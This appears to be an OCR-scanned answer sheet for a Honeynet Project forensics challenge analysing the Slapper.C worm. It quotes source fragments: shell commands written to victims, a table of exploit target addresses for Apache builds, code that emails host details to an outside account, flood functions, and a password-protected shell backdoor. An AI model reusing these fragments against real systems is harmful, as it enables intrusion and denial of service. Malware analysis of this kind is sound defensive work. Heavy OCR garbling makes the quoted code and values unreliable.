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I ntroducti on

Menbers from t he Honeynet.BR (http://ww. | ac.inpe. br/security/honeynet/) team
have captured a new wormfromthe wild. The file (.unlock), was used by the worm
to infect the honeypot. Your mission is to analyze the captured file in order to
answer the questions below. Be sure you review the submi ssion rules at the SotM
chal | enge page (http://project.honeynet.org/scans/scans/) before subnitting your
results.

Downl oad the Binary (http://project.honeynet. org/scans/scan25/. unl ock)
Not e: The MD5 and SHA1l checksums are shown bel ow.

MD5 (. unl ock) a03b5be9264651ab30f 2223592bef b42
SHA1 (. unl ock) 4b018cdf dbcf 71ddaa789e8ecc9ed7700660021a

Questions (Quick Answers in Blue)
1. Which is the type of the .unlock file? When was it generated?
i) Download the file

$ wget http://project.honeynet. org/scans/scan25/. unl ock
--15:19:45-- http://project. honeynet. org/scans/scan25/. unl ock

=> " . unl ock’
Connecting to project.honeynet.org[63.107.222.112]:80... connected.
Proxy request sent, awaiting response... 200 K
Length: 17,973 [text/plain]

100% ::::::::::::::::::::::::::::::::::::>] 17,973 9. 68K/ s ETA 00: 00
15:19: 47 (9.68 KB/s) - ".unlock' saved [17973/17973]

$1s -la

total 18

dr wxr wxr wx 2 dpbrad None 0 Nov 13 15:19

dr wxr wxr wx 4 dpbrad None 0 Nov 13 15:22 .

STWA W W 1 dpbrad None 17973 Sep 23 03: 06 . unl ock

ii) Verify MD5 (.unlock) = a03b5be9264651ab30f 2223592bef b42

$ nd5sum . unl ock
a03b5be9264651ab30f 2223592bef b42 *. unl ock



iii) Verify SHAL (.unlock) = 4b018cdfdbcf71lddaa789e8ecc9ed7700660021a

$ shalsum . unl ock
4b018cdf dbcf 71ddaa789e8ecc9ed7700660021a *. unl ock

iv) Determine the file type of .unlock and extract contents

$ file .unlock .unlock: gzip conpressed data, deflated, last nodified: Fri Sep
20 20:59:04 2002, os: Unix

The .unlock file was generated on Fri Sep 20 20:59: 04 2002.
$ mv .unl ock .unl ock. gz

$ gunzip .unlock. gz

$1s -la

total 80

dr wxr wxr wx 2 dpbrad None 0 Nov 13 15:30

dr wxr wxr wx 4 dpbrad None 0 Nov 13 15:22 .

STW W W 1 dpbrad None 81920 Sep 23 03: 06 .unlock

$ file .unlock
.unlock: GNU tar archive

$ tar xvf .unlock

.unl ock. c

. update.c

$1Is -la

total 153

dr wxr wWxr wx 2 dpbrad None 0 Nov 13 15:32

dr wxr wxr wx 3 dpbrad None 0 Nov 13 15:38 .

STW W W 1 dpbrad None 81920 Sep 23 03: 06 .unlock
STWr--r-- 1 dpbrad None 70981 Sep 20 23:28 .unlock.c
STWr--r-- 1 dpbrad None 2792 Sep 20 07:57 .update.c

$ file .unlock.c
.unlock.c: ASCI| English text, with CRLF, LF line term nators

$ file .update.c
.update.c: ASCII C programtext, with CRLF, LF line term nators

The .unlock file is a GZI P conpressed TAR archive containing the
two ASCII files .unlock.c and .update.c

2. Based on the source code, who is the author of this worn? When was it
created? Is it conpatible with the date from question 1?

The author of the wormis aion (aion@bkr.net) who nodified a worm created by
cont em@f net .

From the source code we can find the followi ng date indicating when the worm was
created:

.unl ock. c:
Line 71. #defi ne VERSI ON 20092002



Assuming that this nunber is in the format ddmyyyy then the date
20t h Sept enber 2002 is indeed conpatible with the date found in question 1

3. Wich process nanme is used by the wormwhen it is running?

The process nane used by the worm when running is "httpd
The worm defines the process name as foll ows:

.unl ock. c:
Li ne 78. #defi ne PSNAVE "httpd "

The worm changes its current process nanme as follows:

.unl ock. c:
Li ne 1808. strcpy(argv[0], PSNAME)

4. In which format does the wormcopy itself to the newy infected machi ne?
Which files are created in the whol e process? After the worm executes itself,
which files remain on the infected machi ne?

The wormis transmitted as a uuencoded archive containing the origina
.update GZI P conpressed TAR archive containing the two ASCII files
.unlock.c and .update.c

The wormtransmits the .unlock file by uuencoding it internally with the encode
function and sending it to the target system by first using the command

"cat > /tnp/.unlock.uu << __eof " then sending the encoded file and finishing
the cat with another " This can be seen in the foll ow ng code:

__eof __".

.unl ock. c:

Line 1417. witen{(sockfd,"cat > /tnp/.unlock.uu << __eof __; \n");
Li ne 1418. zhdr(1);

Li ne 1419. encode(sockfd);

Li ne 1420. zhdr(0);

Li ne 1421. witen(sockfd,"_ _eof \n");

The following files are created in the whol e process:
/tmp/ . unl ock. uu

/tnp/ . unl ock. c

/tnp/.update.c

/tnp/ httpd

[t mp/ updat e

After the worm executes itself no files should remain on the infected nmachine.
When the worm executes the followi ng command "rm-rf /tnp/.unlock.uu /tnp/.unlock.c

/tnp/ . update.c /tnp/httpd /tnp/update” is issued which should renpve all files
created by the wormfromthe host machine. This can be seen in the foll ow ng code:

. unl ock. c:
Li ne 1429. witen(sockfd,"rm-rf /tnp/.unlock.uu /tnp/.unlock.c /tnp/.update.c "
Li ne 1430. " [tnp/ httpd /tnp/update; exit; \n");

5. Wich port is scanned by the worn?



The worm scans port 80.
The worm defines the port to be scanned as foll ows:

.unl ock. c:
Li ne 67. #defi ne SCANPORT 80

The worm scans a range of addresses connecting with the foll owi ng piece of code:

.unl ock. c:
Li ne 1926. atcp_sync_connect (&clients[n], srv, SCANPORT) ;

6. VWhich vulnerability does the wormtry to exploit? In which architectures?

From a quick googl e search for the author of this worm "aion (ai on@kr.net)"
deternmines that this is the Linux Slapper Worm . C variant. Descriptions of the
worm are avail able from major antivirus software vendors. [1][2][3][4][5]

The worm exploits a buffer overflow condition in OpenSSL 0.9.6d and earlier, and
0.9.7-beta2 and earlier, which allow renpte attackers to execute arbitrary code

Ver si ons of OpenSSL servers prior to 0.9.6e and pre-rel ease version 0.9.7-beta2

contain a renotely exploitable buffer overflow vulnerability. This vulnerability
can be exploited by a client using a mal formed key during the handshake process

with an SSL server connection using the SSLv2 comuni cati on process.[6][7]][8]

The wormretrieves the response fromthe server to check for a vul nerable architecture

.unl ock. c:
Li ne 1152. sin.sin_port = htons(80);
Li ne 1153. if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) !'=0) return NULL

Line 1154. wite(sock,"GET / HTTP/ 1. 1\r\n\r\n",strlen("GET / HTTP/1.1\r\n\r\n"));
The worm checks for an Apache server.

.unl ock. c:
Line 1711. if (strncnp(a, "Apache",6)) exit(0);

The worm checks the version of the Apache server.

. unl ock. c:

Line 1713. if (strstr(a,architectures[i].apache) && strstr(a,architectures[i].os)) {
Line 1714. ar ch=i

Li ne 1715. br eak;

Line 1716. }

The worm targets the follow ng architectures:

(Apache): "Gentoo", "Debian 1.3.26", "Red-Hat 1.3.6", "Red-Hat 1.3.9",
"Red-Hat 1.3.12", "Red-Hat 1.3.12", "Red-Hat 1.3.19", "Red-Hat 1.3.20",
"Red-Hat 1.3.26", "Red-Hat 1.3.23", "Red-Hat 1.3.22", "SuSE 1.3.12",
"SuSE 1.3.17", "SuSE 1.3.19", "SuSE 1.3.20", "SuSE 1.3.23", "SuSE
1.3.23", "Mandrake 1.3.14", "Mandrake 1.3.19", "Mandrake 1.3.20",
"Mandrake 1.3.23", "Slackware 1.3.26" and "Slackware 1.3.26".

The worm defines the followi ng struct indicating what platfornms it knows how to
exploit:

.unl ock. c:



Li ne 1241. struct archs {

Li ne 1266.
Li ne 1267.
Li ne 1268.
Line 1269. };

"Mandrake", "1.3.23", 0x08086580},
" Sl ackware", "1.3.26", 0x083d37fc},
"Sl ackware", "1.3.26",0x080b2100}

Li ne 1242. char *os;
Li ne 1243. char *apache;
Li ne 1244. int func_addr;
Line 1245. } architectures[] = {
Li ne 1246. {"Gentoo", "", 0x08086c34},
Li ne 1247. {"Debian", "1.3.26", 0x080863cc},
Li ne 1248. {"Red-Hat", "1.3.6", 0x080707ec},
Li ne 1249. {"Red-Hat", "1.3.9", 0x0808ccc4},
Li ne 1250. {"Red-Hat", "1.3.12", 0x0808f 614},
Li ne 1251. {"Red-Hat", "1.3.12", 0x0809251c},
Li ne 1252. {"Red-Hat", "1.3.19", 0x0809af8c},
Li ne 1253. {"Red-Hat", "1.3.20", 0x080994d4},
Li ne 1254. {"Red-Hat", "1.3.26", 0x08161cl4},
Li ne 1255. {"Red-Hat", "1.3.23", 0x0808528c},
Li ne 1256. {"Red-Hat", "1.3.22", 0x0808400c},
Li ne 1257. {"SuSE", "1.3.12", 0x0809f54c},
Li ne 1258. {"SuSE", "1.3.17", 0x08099984},
Li ne 1259. {"SuSE", "1.3.19", 0x08099ec8},
Li ne 1260. {"SuSE", "1.3.20", 0x08099da8},
Li ne 1261. {"SuSE", "1.3.23", 0x08086168},
Li ne 1262. {"SuSE", "1.3.23", 0x080861c8},
Li ne 1263. {" Mandr ake", "1.3.14", 0x0809d6c4},
Li ne 1264. {"Mandrake", "1.3.19", 0x0809ea98},
Li ne 1265. {" Mandr ake", "1.3.20", 0x0809e97c},
{
{
{

If no match is found for the version the default that will be exploited is
arch[9] = "Red-Hat 1.3.23"

. unl ock. c:
Line 1718. if (arch == -1) arch=9;

The worm then nmekes attenpts to connect to the server on port 443 (maxi mum of 20
attenpted connecti ons)

. unl ock. c:
Line 1701. int port = 443;

.unl ock. c:
Line 1704. int N = 20;

.unl ock. c:

Line 1722. for (i=0; i<N i++) {

Li ne 1723. connect _host (i p, port);
Li ne 1724. usl eep(100000) ;

Line 1725. }

The worm then creates an SSL connection to the server and sends an oversi zed
client key to exploit the vul nerabl e server.

.unl ock. c:
Line 1749. send_client_naster_key(ssl 2, overwite_next_chunk
si zeof (overw i te_next _chunk)-1);



7. \What kind of information is sent by the wormby email? To whi ch account?
The worm sends the follow ng information:

hosti d: << The 32-bit identifier for the current processor >>

host nane: << The host name >>

att _from << The host ip address >>

The worm sends information by email according to the follow ng code:

. unl ock. c:

Li ne 122. sprintf(cndbuf,” hostid: %l \r\n"

Li ne 123. " hostnane: % \r\n"

Li ne 124. " att_from % \r\n",gethostid(), buffer,sip);

The worm sends this information to the follow ng account:

Mai | Server: freemail . ukr. net
Mai | Account: ai on@ukr . net

The worm uses the followi ng server and account information:

.unl ock. c:
Li ne 76. #def i ne MAI LSRV "freemai |l . ukr.net"
Li ne 77. #define MAILTO "ai on@kr . net"

The worm connects to the mail server as follows:

.unl ock. c:

Li ne 102. i f((inet=inet_addr(MAILSRV))==-1)

Li ne 103. {

Li ne 104. i f (hp=get host bynane( MAI LSRV))

Li ne 105. nmencpy (& net, hp->h_addr, 4);
Li ne 106. el se return -1,

Li ne 107.

Li ne 108. sck.sin_fanm |y = PF_I NET,

Li ne 109. sck.sin_port = htons (25);

Li ne 110. sck.sin_addr.s_addr = inet;

Li ne 111. i f(connect(pip, (struct sockaddr *) &sck, sizeof (sck))<0) return -1;

The worm uses the mail account as foll ows:

.unl ock. c:
Li ne 118. sprintf(cndbuf,"rcpt to: "MAILTO'\r\n"); writem(pip, cndbuf);

8. Which port (and protocol) is used by the wormto conmmunicate to other infected
machi nes?

The worm uses port 4156 and the UDP protocol to conmunicate with other infected
machi nes.

The worm defines the port used to conmuni cate with other infected machines as follows:

.unl ock. c:
Li ne 66. #def i ne PORT 4156



The worm creates a UDP server on port 4156 in the main function as foll ows:

.unl ock. c:

Line 1784. if (audp_listen(&udpserver, PORT) = 0) {

Li ne 1785. printf("Error: 9%\n",aerror(&udpserver));
Li ne 1786. return O;

Line 1787. '}
9. Nane 3 functionalities built in the wormto attack ot her networks.

The worm has the follow ng functionalities built in to attack other networks:
UDP Fl oodi ng
| Pv4 TCP Fl oodi ng
| Pv6 TCP Fl oodi ng
DNS Fl oodi ng

The packets that are sent to the wormto attack other networks consi st
of the follow ng data structures

.unl ock. c:

Li ne 146. struct |l header {

Li ne 147. char type;

Li ne 148. unsi gned | ong checksum
Li ne 149. unsi gned | ong id;

Li ne 150. };
Li ne 151. struct header {

Li ne 152. char tag;

Li ne 153. int id,;

Li ne 154. unsi gned |ong | en;
Li ne 155. unsi gned | ong seq;

Li ne 156. };

Packets that are received with the tag attribute set to the follow ng
values will force the host to attack other networks.

i) tag = 0x29 forces the host to execute a ' UDP Fl ood

.unlock.c
Li ne 2208. case 0x29: { // Udp flood

ii) tag = Ox2A forces the host to execute a ' TCP Fl ood

.unl ock. c
Li ne 2249. case Ox2A: { // Tcp flood

iii) tag = Ox2B forces the host to execute an 'IPv6 TCP Fl ood'

.unl ock. c
Li ne 2282. case 0x2B: { // IPv6 Tcp flood

iv) tag = 0x2C forces the host to execute a ' DNS Fl ood'

.unl ock. c
Li ne 2311. case 0x2C. { // Dns flood

10. What is the purpose of the .update.c progran? Wich port does it use?



The .update.c programis a password protected backdoor programthat |istens on
TCP port 1052.

The .update.c programrequires the password "ai on1981" before an interactive
shell is spawned to the connecting client.

The worm defines the port that the .update.c programlistens on and al so the
requi red password as follows:

. update. c:
Li ne 4. #defi ne PORT 1052
Li ne 5. #def i ne PASS "ai on1981"

The worm checks the received string against the stored password before executing
The interactive shell as foll ows:

. update. c:
Li ne 63. if( !'strncnp(tenp_buff, PASS, strl en(PASS)) )
Li ne 64. execl ("/bin/sh","sh -i", (char *)0);

11. Bonus Question: Wat is the purpose of the SLEEPTI ME and UPTI ME val ues in
the .update.c progranf

The .update.c programw |l |isten for connections on TCP port 1052 for a
period of UPTIME seconds (10sec) before sleeping for SLEEPTI ME seconds
(300sec/ 5m n).

The worm defines the SLEEPTI ME and UPTI ME val ues as foll ows:

. update. c:
Li ne 6. #def i ne SLEEPTI ME 300 /1l sleep 5 nin.
Li ne 7. #defi ne UPTI VE 10 /1 listen 10 sec

The worm | istens for connections for a period of UPTIME seconds as follows:

. update. c:
Li ne 52. for(stimer=time(NULL); (stimer+UPTIME)>time(NULL);)

The worm sl eeps for a period of SLEEPTI ME seconds as foll ows:

. update. c:
Li ne 73. sl eep( SLEEPTI MVE)
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